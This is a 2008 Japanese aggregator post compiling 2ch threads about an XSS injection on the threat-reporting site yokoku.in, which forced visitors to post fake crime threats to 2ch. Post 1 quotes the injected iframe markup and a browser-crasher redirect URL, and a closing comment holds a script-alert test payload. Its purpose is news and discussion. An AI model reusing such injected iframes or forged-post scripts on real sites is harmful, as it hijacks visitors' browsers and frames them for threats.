ニュース速報++ 予告.inがクロスサイトスクリプティング攻撃を受けたっぽい

予告.inがクロスサイトスクリプティング攻撃を受けたっぽい

2008-08-03-Sun CATEGORY: 国内ニュース

1 名前：露華濃(関西地方)[] 投稿日：2008/08/03(日) 03:14:23.58 ID:7TPSf6W+0 ?S★(717781) ポイント特典

http://yokoku.in/

<div class=content>
<a href=/detail?num=3882>■</a>test <a href=http://a.a/><iframe/src='//a.zz.tc/8/'><font size=1 color=#777777></a></font></a></div>
</font>

<a href=http://a.a/><iframe/src='//a.zz.tc/8/'>
を仕込まれてる

a.zz.tc/8/
は
tp://www.AMIGO.IN/hahahahahaha/oppai.html
に転送されててて、AMIGO.inはブラクラ

＜危険なURLはリンクから外してありますが、漏れがあるかもしれません。
　　　　記事中のURLは自己責任でクリックしてください。

3 名前：鮑許(兵庫県)[] 投稿日：2008/08/03(日) 03:14:50.92 ID:ah5LIMst0

ざまあｗｗｗｗｗｗｗｗｗｗ

7 名前：家郷鶏(関東地方)[sage] 投稿日：2008/08/03(日) 03:15:19.80 ID:oaOHtlx30

スーパーハカこええ

61 名前： ◆kusai/ZzDI [sage] 投稿日：2008/08/03(日) 03:23:07.25 ID:7TPSf6W+0 ?S★(717781)

yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/9989.shtml#host=yutori.2ch.net　　（以下略

を読み込ませていて、それを読み込むと

↓を読み込ませて
yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net　（以下略

http://yutori.2ch.net/test/read.cgi/news4vip/1217701110/
みたいに

タイトル：　警視庁**する
名前：fusianasan
本文：嘘です

と、犯行予告スレを立てるスクリプトが仕掛けれらてる

86 名前：家郷鶏(関東地方)[sage] 投稿日：2008/08/03(日) 03:25:37.91 ID:oaOHtlx30

>>61
まじかよｗｗ

66 名前：鮑許(西日本)[] 投稿日：2008/08/03(日) 03:23:47.10 ID:nWAnmpW70

必殺！クロスサイトスクリプティング！！

67 名前：荘臣(アラバマ州)[] 投稿日：2008/08/03(日) 03:23:47.96 ID:Ahp7bMaL0

プディングとかスイーツ丸出しだな。
プリンと言え、プリンと。

163 名前：欧莱雅(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:32:04.34 ID:CX4JztzL0

VIPで犯行予告してるやつがいるぞ
http://yutori.2ch.net/test/read.cgi/news4vip/1217701240/
通報先
http://yokoku.xx/

みたいなコピペいっぱい貼られたら困るよね

164 名前：雅虎(北海道)[] 投稿日：2008/08/03(日) 03:32:05.87 ID:FTr6DLvo0

なにこれ予告in行ったらアウトってことか？

180 名前：星期五餐庁(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:32:56.93 ID:GqG8h2/R0

>>164
そうみたい

166 名前：登喜路(東京都)[] 投稿日：2008/08/03(日) 03:32:07.70 ID:8mR0QLmO0

ふざけんな矢野
許さない
絶対に

259 名前：可爾(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:37:55.45 ID:kCovLoQx0

>>166
これはひどい

169 名前：宝麗来(愛知県)[] 投稿日：2008/08/03(日) 03:32:12.74 ID:wwqjGWs40

Operaさんだと読まない。IEとFirefoxは動くな。
Operaさいきょうでんせつ。

262 名前：丘比(catv?)[sage] 投稿日：2008/08/03(日) 03:38:10.74 ID:S9DWcdHD0

つまりこれに便乗して犯罪予告する奴が現れて
調子乗りすぎてそいつだけ逮捕されるわけですね

279 名前：古馳(宮城県)[] 投稿日：2008/08/03(日) 03:38:51.74 ID:tXpYgxkX0

爆破予告が25スレも立ってる

336 名前：古馳(宮城県)[] 投稿日：2008/08/03(日) 03:41:48.96 ID:tXpYgxkX0

只今29スレ目

317 名前：飄柔(dion軍)[sage] 投稿日：2008/08/03(日) 03:40:54.89 ID:WdXrZ0jI0

予告.inって言語は何で作られてるんだ？
今まで気にしたことなかったからわからんし、今からじゃ確認のしようがないｗ

351 名前：三菱(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:42:21.44 ID:50hXM7fP0

>>317
言語とか関係無い。
これは多分投稿されたメッセージ内のHTMLタグの無効化をし忘れてるとかそのレベル
10年ぐらい前の掲示板荒らしの手口だ

375 名前：達美楽・比薩(北海道)[] 投稿日：2008/08/03(日) 03:43:32.95 ID:u/OdMS2N0

なんで>>1本文を「嘘です」に設定したんだろ
もっとリアルに日時まで設定して書き込ませた方が面白いのに

416 名前：凱洛格(東日本)[] 投稿日：2008/08/03(日) 03:45:13.18 ID:RASG27qT0

>>375
そこまでやるのは仕込んだ人間も怖かったんだろうな
ここから推察するにこれやった奴は気弱なチキン野郎だ

395 名前：古馳(宮城県)[] 投稿日：2008/08/03(日) 03:44:24.47 ID:tXpYgxkX0

只今34スレ目

412 名前： ◆kusai/ZzDI [sage] 投稿日：2008/08/03(日) 03:44:57.18 ID:7TPSf6W+0 ?S★(717781)

矢野に電話してみたけど、出ない

475 名前：登喜路(東京都)[] 投稿日：2008/08/03(日) 03:48:00.57 ID:8mR0QLmO0

>>412
まさか彼はもう・・・

598 名前：雅虎(catv?)[] 投稿日：2008/08/03(日) 03:51:53.14 ID:RlCCZHc50

>>412
寝てんだろ

418 名前：数字設備公司(長屋)[] 投稿日：2008/08/03(日) 03:45:21.67 ID:39+E+8Wy0

ＶＩＰ蜂起！！！！
集団革命で犯罪予告

ちょっと予告inに通報してこいよおまえらｗ

448 名前：羅尓斯(東京都)[] 投稿日：2008/08/03(日) 03:46:29.32 ID:LEhtDy5/0

>>418
って芋蔓で増える訳か…マジで通報厨涙目じゃね？

447 名前：時代(愛知県)[sage] 投稿日：2008/08/03(日) 03:46:27.75 ID:mRLneP580

このウイルス回避する方法はないのか

500 名前：楽天利(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:48:42.00 ID:rllysQBx0

>>447
ウィルスっていうか、ハックによるサイト書き換えで起きた、
スクリプト被害だからなー

このスレの報告では、ブラウザOperaなら大丈夫ってとこか

467 名前：美極(樺太)[sage] 投稿日：2008/08/03(日) 03:47:26.33 ID:okRXyoimO

本文が『嘘です』なのは、犯人が見せた唯一の優しさ

490 名前：阿斯頓馬丁(アラバマ州)[] 投稿日：2008/08/03(日) 03:48:27.42 ID:YG4LP/AT0

>>467
本文が嘘ですでも逮捕する警察への皮肉だろう

507 名前：荘臣(アラバマ州)[] 投稿日：2008/08/03(日) 03:48:53.21 ID:Ahp7bMaL0

>>467
本文をガチにしたら、バレた時点で自分が逮捕されるの確定だからじゃね？

546 名前：達美楽・比薩(北海道)[] 投稿日：2008/08/03(日) 03:50:19.71 ID:u/OdMS2N0

>>507
現状でも逮捕されるだろ・・・

479 名前：金融新聞聯播網(愛媛県)[] 投稿日：2008/08/03(日) 03:48:02.66 ID:9BfwH71i0

予告inってtor経由でも普通に書き込めるくらい適当だったし
多分犯人見つからないね

503 名前：古馳(宮城県)[] 投稿日：2008/08/03(日) 03:48:46.49 ID:tXpYgxkX0

只今44スレ目

505 名前：必勝客(アラバマ州)[sage] 投稿日：2008/08/03(日) 03:48:47.58 ID:EnvEcYuE0

これは予告inをひらかなければおｋ？

528 名前：来科思(福岡県)[] 投稿日：2008/08/03(日) 03:49:45.70 ID:hNimluz/0

>>505
予告inに飛ばされるURL踏んでもアウトだから気をつけろよ。

510 名前：家郷鶏(関東地方)[sage] 投稿日：2008/08/03(日) 03:49:00.01 ID:oaOHtlx30

というかさとる自身踏んで予告するんじゃないの？ｗ

517 名前：宝姿(長屋)[sage] 投稿日：2008/08/03(日) 03:49:24.58 ID:SRzSUDtS0

>>510
それが最高の展開

524 名前：達美楽・比薩(dion軍)[] 投稿日：2008/08/03(日) 03:49:31.16 ID:mJczhwnW0

　　　　　　　　＿＿＿_
　　　　　　　／_ノ　ヽ､_＼
　ﾐ　ﾐ　ﾐ　　oﾟ(（●）) (（●）)ﾟo　　　　　　ﾐ　ﾐ　ﾐ　　　　　　また通報してやったおｗｗｗｗｗざまあｗｗｗｗｗｗｗ
/⌒)⌒)⌒. ::::::⌒（__人__）⌒:::＼　　　/⌒)⌒)⌒)
|　/　/　/　　　　　|r┬-|　　　　|　(⌒)/　/ / /／　　　バ
|　:::::::::::(⌒)　　　　|　|　 |　　／　ゝ　　:::::::::::/　　　　　　ン
|　　　　　ノ　　　　|　|　 |　　＼　　/　　）　　/ 　　バ
ヽ　　　　/　　　　　`ー'´ 　　　ヽ /　　　　／　　　　ン
　|　　　　|　　 l||l　从人 l||l 　　　　 l||l 从人 l||l
　ヽ　　　 -一''''''"~~｀`'ー--､　　　-一'''''''ー-､　　　　
　　ヽ＿＿＿＿(⌒)(⌒)⌒)　)　　(⌒＿(⌒)⌒)⌒))

　　　　　　　　＿＿＿_
　　　　　　／　　　　＼
　　　　　／　　─　　 ─＼
　　　 .／　　（●）　（●）＼　　　　　　　　　　あれ・・・・・？
　　　 |　　　　（__人__）　　 |、
r―ｎ|l＼　　　　｀ ⌒´ 　 ,／　ヽ
　　＼＼＼.` ー‐ ' .//　l　　　　　ヽ
.　　　　　＼　　　　　　　 |　　　　　 |
.　　　　　　＼　＿　＿_ |　.＿　　 |
　　　　　　　／,　／＿ヽ/、　ヽ＿|
＼　　　　　 // ／<　＿＿） l -,|__) >
　＼.　　　　|| ｜ <　＿＿）_ゝJ_)＿>
　　＼.　　 ||.｜　<　＿__）_(＿)_　>
　　　＼＿|　|　 <_＿__ノ_(＿)＿ )

547 名前：陸虎(山陰地方)[] 投稿日：2008/08/03(日) 03:50:19.68 ID:T0+Vrn440

>>524
これになりかねない事態ｗ

883 名前：達美楽・比薩(北海道)[] 投稿日：2008/08/03(日) 04:02:24.84 ID:u/OdMS2N0

予告in元に戻ってるな

948 名前：湯米・希爾弗哥(徳島県)[sage] 投稿日：2008/08/03(日) 04:04:03.14 ID:k2DF/0O30

>>883
なんだ、もう戻ったのか
これなら見ても大丈夫だな！

予告inがクロスサイトなんとか攻撃を受け犯行予告増殖中2【矢野ざまぁｗｗｗｗ】

52 名前：賓得(兵庫県)[sage] 投稿日：2008/08/03(日) 04:10:09.82 ID:zNcEb0ew0

なんかもう直ってるんだけど
矢野はええよ

58 名前：雅瑪山(関東地方)[] 投稿日：2008/08/03(日) 04:10:28.85 ID:aMUVSHMn0

ようするにサイトにスクリプト埋め込んで、
別のサイト（２ちゃんねる）に犯罪予告ポストさせてた。

厳密に言えば、
クロスサイトリクエストスクリプティングじゃなくて、

スクリプトインジェクションを利用した、
クロスサイトリクエストフォージェリ

67 名前：家郷鶏(神奈川県)[sage] 投稿日：2008/08/03(日) 04:11:20.85 ID:E1vzxK0z0

>>58
日本語でおｋ

79 名前：斯柯達(関西地方)[sage] 投稿日：2008/08/03(日) 04:12:11.13 ID:tQ45TRnH0

＞クロスサイトリクエストフォージェリ
強そうな技だな

118 名前：毎日新聞(愛媛県)[] 投稿日：2008/08/03(日) 04:15:25.49 ID:3J3Iu89a0

http://nicovideo.zz.tc/sm485475
予告inの今回の件の動画あがってるぞ

147 名前：戴姆勒・克莱斯勒(東京都)[] 投稿日：2008/08/03(日) 04:18:01.94 ID:1OZFEoe60

>>118
全ての通報族へ・・・・

160 名前：愛斯徳労徳(神奈川県)[sage] 投稿日：2008/08/03(日) 04:18:58.72 ID:VZgPUAgH0

>>118
zz.tc見てNG登録余裕でした

174 名前：華姿(埼玉県)[sage] 投稿日：2008/08/03(日) 04:20:02.13 ID:jiPiRjOG0

>>118を踏むとどうなるのかうｐ

181 名前：麦当勞(宮城県)[sage] 投稿日：2008/08/03(日) 04:20:36.97 ID:NTNwSTqh0

>>174
予告いｎに飛ぶ

213 名前：嘉緑仙(アラバマ州)[sage] 投稿日：2008/08/03(日) 04:23:33.62 ID:4VDDvkpx0

該当時間帯のやつだけ通報対象除外か？

220 名前：七喜(神奈川県)[] 投稿日：2008/08/03(日) 04:24:26.77 ID:+2MwQL360

>>213
それやったら、警察としておかしな事になる。
逮捕はしないまでも、話くらいは聞かれるはず。

247 名前：理光(北海道)[] 投稿日：2008/08/03(日) 04:26:18.55 ID:lHSZghpi0

http://yutori.2ch.net/test/read.cgi/news4vip/1217700764/l50
1 名前： ntmyzk032064.myzk.nt.ftth4.ppp.infoweb.ne.jp [age] 投稿日： 2008/08/03(日) 03:12:44.88 ID:hJGa0Jwk0
嘘です

これが最初の予告かな？
で

http://namidame.2ch.net/test/read.cgi/news/1217700863/l50
1 名前：露華濃(関西地方) 投稿日： 2008/08/03(日) 03:14:23.58 ID:7TPSf6W+0 ?S★(717781) ポイント特典

こっちのスレ・・・２分で特定するってすごくね？
仕込んだ本人以外なら

251 名前：美年達(北海道)[] 投稿日：2008/08/03(日) 04:26:30.29 ID:VoQ5RZd/0

でも今回の予告は故意ではない人がほとんどだけど
もしかしたら故意に踏んでわざと予告した人がいる可能性も
捨てきれないし一応全員通報するべきなのかな？矢野さんとか
予告inで通報してた方々の主張的に考えて

442 名前：三菱(アラバマ州)[sage] 投稿日：2008/08/03(日) 04:44:01.75 ID:50hXM7fP0

実際はもっと大多数が踏んでるはず
なのにどうして数がそこまで多くないかといえば
無駄に厳密なスレ立て規制のせい
大多数がそこで弾かれてる

予告スレ立てちまった人は選ばれた不幸なお方です。合掌

469 名前：硬石餐庁(長屋)[] 投稿日：2008/08/03(日) 04:47:40.39 ID:04xE7db70

WEBサイト改ざんて罪に問われるのか？
しかもこのクロスなんちゃらってパスワードとかで不正侵入してんじゃなくて
サイト側のバグを利用してるだけだろ？直してない方が悪いんじゃねえの？

476 名前：宝麗来(愛知県)[] 投稿日：2008/08/03(日) 04:48:58.22 ID:wwqjGWs40

>>469
警察にせっせと媚を売ってるから、威力業務妨害くらいにはなるんじゃねえの。

503 名前：固特異輪胎橡膠公司(大阪府)[sage] 投稿日：2008/08/03(日) 04:52:46.26 ID:0wjuOLBM0

>>469
昔サイトの脆弱性利用して中身みれますよって
証拠と共に知らせた京大の人逮捕されてた気がする

531 名前：美禄(栃木県)[] 投稿日：2008/08/03(日) 04:56:06.08 ID:7fkn0L8q0

FIRE FOXにNO SCRIPT（IFRAME禁止にする。ANTI－XSSはデフォルトで
チェックボックスにチェック入ってる）入れとけば防げるよ。
加えて、２ｃｈに張られてるような攻撃サイトは、まずブラウザで遮断される。

まさかIEでネットサフィンしてないよな？

関連：犯行予告を自分で通報するサイト「予告.if」登場

コメントを書く（9）▼　l　ニュース速報++　l　

« 【速報マン】板橋区のどっかで爆発だって | ニュー速++ | 「死後裁きにあう」とかの看板謎すぎるよね »

この記事へのコメント

：名無しさん[] ：2008/08/03(Sun) 08:11:26 ID:news++

このサイトもNoScriptでバッチリスクリプト止まってます。
しかし、面倒ではある。あと、コメント書き込めるかな(汗) ＜JavaScript使ってるともちろん動きません
：名無しさん[] ：2008/08/03(Sun) 08:34:26 ID:news++

ダイアーさんの必殺技みたいな名前だな
：名無しさん[] ：2008/08/03(Sun) 09:13:23 ID:news++

予告.in ざまあｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
：くぁｗせｄｒｆｔｇｙふじこｌｐ；＠：「」[] ：2008/08/03(Sun) 10:55:05 ID:news++

もううかつにアクセスできないなｗ
：名無しさん[] ：2008/08/03(Sun) 12:36:55 ID:news++

予告.inってそんなに嫌われるもんなの？
言論の自由の侵害とかほざいている奴も居るけど。
犯行予告しなければいいって話。

嘘通報の毒ガス事件なんかは逮捕者が出るとしても嘘ついた奴だろ。
なんら心配する他はない。杞憂
：名無しさん[] ：2008/08/03(Sun) 13:19:11 ID:news++

小女子で逮捕されるんだから、通報されただけでも恐怖だわ
実際に罪になるかどうかは置いておいても、警察の世話になった時点で
人によっては人生終了するし
：名無しさん[] ：2008/08/04(Mon) 06:48:08 ID:news++

矢野君はこの25スレだかの全ての人を警察に通報する義務があるんじゃないのかな？
：名無しさん[] ：2008/08/07(Thu) 18:52:41 ID:news++

てｓ
：名無しさん[] ：2008/10/22(Wed) 14:20:58 ID:news++

<script>alert("警告")</script>